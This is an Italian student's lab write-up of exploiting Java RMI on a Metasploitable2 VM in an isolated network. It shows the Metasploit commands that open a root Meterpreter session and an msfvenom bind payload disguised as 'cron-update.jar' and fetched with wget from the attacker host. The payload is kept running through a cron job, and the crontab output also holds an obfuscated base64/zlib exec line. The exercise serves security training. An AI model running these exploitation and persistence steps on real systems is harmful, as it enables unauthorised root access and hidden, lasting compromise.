

Esercizio

S7_L5_Java_RMI_Penetration

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante KALI) deve avere il seguente indirizzo IP 192.168.11.111
 - La macchina vittima Metasploitable) deve avere il seguente indirizzo IP 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
- 1) configurazione di rete.
 - 2) informazioni sulla tabella di routing della macchina vittima.

EXTRA

Si richiede inoltre di instaurare un meccanismo di persistence tramite l'utilizzo di un exploit generato con msfvenom in modalità bind.

SVOLGIMENTO

Preparazione ambiente

Ho iniziato settando l'indirizzo IP della Kali secondo le richieste della consegna:

IPV4 192.168.11.111

Method Manual		
Addresses		
Address	Netmask	Gateway
192.168.11.112	24	192.168.11.1

Sono poi passato alla modifica del file `/etc/network/interfaces`, sulla macchina target, per impostare altresì l'indirizzo IP della Metasploitable2 in modo che risultasse essere **192.168.11.112**.

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1
```

Ho infine connesso entrambe le macchine sotto la stessa rete interna chiamata **EPIC**.

Scheda 1 Scheda 2 Scheda 3 Scheda 4

☒ Abilita scheda di rete

Connessa a: Rete interna

Nome: EPIC

Tipo di scheda: Intel PRO/1000 MT Desktop (82540EM)

Modalità promiscua: Nega

Indirizzo MAC: 08002740DF20

☒ Cavo connesso

Discovery

Procedendo alla fase di discovery del servizio target, ho quindi avviato una scansione tramite `nmap` avente come target la porta 1099 sulla macchina Metasploitable2:

`nmap -sV -sC -p1099 192.168.11.112`

```
(kali@kali)-[~]
$ nmap -sV -sC -p1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 04:36 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.00026s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
MAC Address: 08:00:27:40:DF:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds
```

Riusciamo dunque a confermare la presenza del servizio Java-rmi enunciato durante la consegna dell'esercizio.

Exploiting

Ho dunque avviato msfconsole ed eseguito una ricerca tramite comando search:

search java rmi

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd p
Upload RCE					
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-08-08	excellent	Yes	CrushFTP Unauthen
2	_ target: Java
3	_ target: Linux Dropper
4	_ target: Windows Dropper
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server I
Execution					
6	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server I
Scanner					
7	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry
8	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server I
Code Execution					
9	_ target: Generic (Java Payload)
10	_ target: Windows x86 (Native Payload)
11	_ target: Linux x86 (Native Payload)
12	_ target: Mac OS X PPC (Native Payload)
13	_ target: Mac OS X x86 (Native Payload)
14	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server I
Scanner					
15	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI Connectio
Escalation					

Tra i vari exploit che appaiono tra i risultati, ho scelto di procedere utilizzando `multi/misc/java_rmi_server`.

Una volta selezionato, ho deciso di utilizzare il comando info per reperire informazioni circa il funzionamento dell'exploit.

```
Description:
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.

Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.

RMI method calls do not support or require any sort of authentication.
```

Da quanto ho potuto comprendere, il server in questione accetta richieste non autenticante e carica oggetti remoti senza validare il contenuto; inviando un payload appositamente creato, l'attaccante riesce quindi a forzare il caricamento di codice malevolo e ad eseguirlo sul sistema target, ottenendo così accesso remoto con i privilegi dell'utente che esegue il processo Java.

Ho poi utilizzato il comando `show payloads` per determinare quale scegliere; per l'exploit in questione ho deciso di procedere con un meterpreter in reverse tcp.

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads

#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   payload/cmd/unix/bind_aws_instance_connect .               normal No    Unix SSH Shell, Bind Instance Connect (via AWS API)
1   payload/generic/custom                   .               normal No    Custom Payload
2   payload/generic/shell_bind_aws_ssm       .               normal No    Command Shell, Bind SSM (via AWS API)
3   payload/generic/shell_bind_tcp           .               normal No    Generic Command Shell, Bind TCP Inline
4   payload/generic/shell_reverse_tcp         .               normal No    Generic Command Shell, Reverse TCP Inline
5   payload/generic/ssh/interact              .               normal No    Interact with Established SSH Connection
6   payload/java/jsp_shell_bind_tcp          .               normal No    Java JSP Command Shell, Bind TCP Inline
7   payload/java/jsp_shell_reverse_tcp        .               normal No    Java JSP Command Shell, Reverse TCP Inline
8   payload/java/meterpreter/bind_tcp         .               normal No    Java Meterpreter, Java Bind TCP Stager
9   payload/java/meterpreter/reverse_http     .               normal No    Java Meterpreter, Java Reverse HTTP Stager
10  payload/java/meterpreter/reverse_https    .               normal No    Java Meterpreter, Java Reverse HTTPS Stager
11  payload/java/meterpreter/reverse_tcp      .               normal No    Java Meterpreter, Java Reverse TCP Stager
12  payload/java/smet/bind_tcp                .               normal No    Command Shell, Java Bind TCP Stager
13  payload/java/shell/reverse_tcp            .               normal No    Command Shell, Java Reverse TCP Stager
14  payload/java/shell/reverse_tcp            .               normal No    Java Command Shell, Reverse TCP Inline
15  payload/multi/meterpreter/reverse_http     .               normal No    Architecture-Independent Meterpreter Stage, Reverse HTTP
16  payload/multi/meterpreter/reverse_https    .               normal No    Architecture-Independent Meterpreter Stage, Reverse HTTPS
```

`set PAYLOAD payload/java/meterpreter/reverse_tcp`

Mi sono dunque accinto a settare i vari parametri tra i quali l'HTTPDELAY settato a 30 in modo da evitare in via preventiva qualsivoglia problema di esecuzione del codice malevolo.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 30
HTTPDELAY => 30
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 7777
LPORT => 7777
```

`set RHOST 192.168.11.112`
`set HTTPDELAY 30`
`set LPORT 7777`
`set LHOST 192.168.11.111`

Una volta lanciato l'exploit in pochi secondi riusciamo ad ottenere una shell meterpreter sulla session 1:

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:7777
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/UwtG5s3kGIx
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:7777 -> 192.168.11.112:41787) at 2025-08-29 05:19:03 -0400

meterpreter > 
```

Eseguendo un controllo tramite `getuid` scopriamo di essere **root**.

```
meterpreter > getuid
Server username: root
meterpreter > 
```

Recupero Screenshots target

Ancora nella shell meterpreter ho quindi lanciato il comando `ifconfig` per ottenere la configurazione di rete della macchina taccata:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe40:df20
IPv6 Netmask : ::
```

Ed ho poi eseguito anche il comando `route` per ottenere in output la routing table della Metasploitable2:

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fe80::a00:27ff:fe40:df20 ::           ::
meterpreter > █
```

Persistence

Per la persistence ho optato per la creazione di un payload jar in modalità bind.

Ho deciso altresì di utilizzare un nome che possa essere eseguito passando un po' più inosservato rispetto a nomi quali shell/payload ecc... .

```
msfvenom -p java/meterpreter/bind_tcp LPORT=4444 -f jar -o ~/Desktop/cron-update.jar
```

```
(kali@kali)-[~]  
$ msfvenom -p java/meterpreter/bind_tcp LPORT=4444 -f jar -o ~/Desktop/cron-update.jar  
Payload size: 5243 bytes  
Final size of jar file: 5243 bytes  
Saved as: /home/kali/Desktop/cron-update.jar
```

Ho poi avviato un server http tramite python3 sulla cartella Desktop in modo da poter accedere al payload da remoto.

```
python3 -m http.server 8081
```

```
(kali@kali)-[~/Desktop]  
$ python3 -m http.server 8081  
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...  
192.168.11.112 - - [29/Aug/2025 07:58:25] "GET /cron-update.jar HTTP/1.0" 200 -  
[...]
```

Sono quindi tornato sulla sessione meterpreter connessa alla Metasploitable2 ed ho scaricato all'interno della cartella /tmp il payload.

```
wget http://192.168.11.111:8081/cron-update.jar
```

Ed ho infine avviato il payload: `java -jar cron-update.jar`

```
wget http://192.168.11.111:8081/cron-update.jar  
--07:58:26-- http://192.168.11.111:8081/cron-update.jar  
=> `cron-update.jar'  
Connecting to 192.168.11.111:8081... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 5,243 (5.1K) [application/java-archive]  
  
0K ..... 100% 632.77 MB/s  
  
07:58:26 (632.77 MB/s) - `cron-update.jar' saved [5243/5243]  
  
ls  
4612.jsvc_up  
cachekq9342.jar  
cachekq9344.jar  
cron-update.jar  
gconfd-msfadmin  
orbit-msfadmin  
java -jar cron-update.jar
```

Intanto in un'altro terminale ho configurato l'handler con il medesimo payload:

```
set PAYLOAD java/meterpreter/bind_tcp
set RHOST 192.168.11.112
set LPORT 4444
```

```
msf6 exploit(multi/handler) > set PAYLOAD java/meterpreter/bind_tcp
PAYLOAD => java/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.11.112:4444
```

Una volta avviato, notiamo che la connessione con la macchina target viene stabilita e il listener riesce ad avviare nuovamente una sessione Meterpreter.

```
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.11.112:4444
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:38157 -> 192.168.11.112:4444) at 2025-08-29 08:08:46 -0400
meterpreter >
```

A questo punto l'ultimo step che ho voluto compiere è quello di creare una persistenza continua basata sull'esecuzione del payload tramite cron.

Ho spostato il file all'interno di /bin (/tmp si svuota al riavvio) e ne ho settato i permessi in modo che possa essere modificato solo dal proprietario ma letto anche dagli altri utenti:

```
sudo mv /tmp/cron-update.jar /bin/cron-update.jar
sudo chmod 644 /bin/cron-update.jar
```

Ho quindi, tramite shell, eseguito il comando qui sotto per impostare l'esecuzione di cron-update.jar ogni minuto.

```
( crontab -l 2>/dev/null; echo '* * * * * /usr/bin/java -jar /bin/cron-update.jar >/dev/null 2>&1' ) | crontab -
```

Controllando il contenuto di crontab possiamo constatare che l'esecuzione del payload è stata inserita correttamente:

```
crontab -l
```

```
meterpreter > shell
Process 2 created.
Channel 2 created.
( crontab -l 2>/dev/null; echo '* * * * * /usr/bin/java -jar /bin/cron-update.jar >/dev/null 2>&1' ) | crontab -l
* * * * * python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode('LihVEVLdDfXsjLdZM6KT/b0ta4tJZZHJnTu6FtB8LvSMI6q0dISviC4fa9qA0YpgB7v2L
G4tV22eDIAy7/g71/pHS8rAz/I0Sj6xiN6tZE2FD-BUF7WNw-')[0]))" #FnWVKDnBJ
* * * * * /usr/bin/java -jar /bin/cron-update.jar >/dev/null 2>&1
```

Conclusioni

In questa esercitazione è stato dimostrato come una configurazione insicura del servizio **Java RMI** esposto sulla porta **1099** di una macchina Metasploitable possa portare a una completa compromissione del sistema.

Attraverso una prima fase di **information gathering** e **discovery** con *nmap* è stato possibile individuare il servizio vulnerabile. L'exploit **multi/misc/java_rmi_server** di Metasploit ha quindi permesso di ottenere rapidamente una **sessione Meterpreter** sulla vittima, addirittura con privilegi **root**, dimostrando l'impatto critico della vulnerabilità.

Dalla sessione è stato possibile raccogliere le evidenze richieste, ovvero:

- la configurazione di rete della macchina target;
- la tabella di routing attiva.

Nella parte **extra** è stato poi realizzato un meccanismo di persistenza tramite la generazione di un payload in formato **JAR** con **msfvenom** in modalità bind. Dopo aver trasferito il file sulla macchina target, è stata configurata un'esecuzione ricorrente tramite **cron**, garantendo così la riapertura di una porta di ascolto Meterpreter ad ogni minuto, e quindi la possibilità di riconnettersi anche in seguito a un riavvio.

Questa esercitazione evidenzia due aspetti chiave:

1. **Dal lato offensivo:** anche un singolo servizio lasciato esposto può consentire l'esecuzione di codice remoto e la compromissione completa di un sistema.
2. **Dal lato difensivo:** è fondamentale disabilitare o limitare i servizi non necessari, applicare patch regolarmente e monitorare meccanismi di persistenza come **cron** o servizi sospetti.

In sintesi, l'attività svolta ha mostrato l'intero ciclo di un attacco: dall'individuazione del servizio vulnerabile, allo sfruttamento con ottenimento di privilegi elevati, fino all'implementazione di tecniche di persistenza, fornendo così una visione completa delle dinamiche di compromissione e mantenimento dell'accesso su sistemi vulnerabili.